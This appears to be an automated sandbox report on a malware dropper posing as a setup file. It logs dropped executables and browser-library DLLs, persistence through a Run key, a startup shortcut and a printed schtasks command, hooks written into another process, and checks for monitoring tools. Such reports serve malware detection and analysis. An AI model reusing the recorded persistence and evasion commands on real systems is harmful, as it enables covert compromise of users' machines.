Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-07TP8.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\unins000.exe (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\QtAVWidgets1.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcp120.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_RegDLL.tmp Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcp140_1.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe File created: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5WinExtras.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5Svg.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mousehelper.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe File created: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-O6M3F.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5OpenGL.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-LRHSQ.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqlt[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\amadka[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_setup64.tmp Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\Users\user\AppData\Local\Temp\PowerExpertNT\PowerExpertNT.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-9A6KK.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcp140.dll (copy) Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe File created: C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-B37O4.tmp Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-NPF14.tmp Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\newsoftgnu[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\FCBFBGDBKJ.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe File created: C:\ProgramData\AIRP Next Stage 7.1.66\AIRP Next Stage 7.1.66.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe File created: C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Window searched: window name: RegmonClass
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Window searched: window name: FilemonClass
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Window searched: window name: PROCMON_WINDOW_CLASS
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk Jump to behavior
Creates or modifies windows services
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV5 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV5 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "CIFUBVHI"

Hooking and other Techniques for Hiding and Protection
barindex
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB4590008 value: E9 EB D9 E9 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB442D9F0 value: E9 20 26 16 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB45A0005 value: E9 CB 05 E6 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB44005D0 value: E9 3A FA 19 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB45B0005 value: E9 9B 07 E0 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB43B07A0 value: E9 6A F8 1F 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB4350007 value: E9 AB 11 E8 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB41D11B0 value: E9 5E EE 17 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB4360006 value: E9 BB 7F E4 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB41A7FC0 value: E9 4C 80 1B 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB1F80007 value: E9 CB E3 E3 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB1DBE3D0 value: E9 3E 1C 1C 00 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB1F90006 value: E9 AB 4D D3 FF Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Memory written: PID: 5720 base: 7FFDB1CC4DB0 value: E9 5C B2 2C 00 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Memory written: PID: 2884 base: 7FFDB4590008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Memory written: PID: 2884 base: 7FFDB442D9F0 value: E9 20 26 16 00
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 9_2_666355F0
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
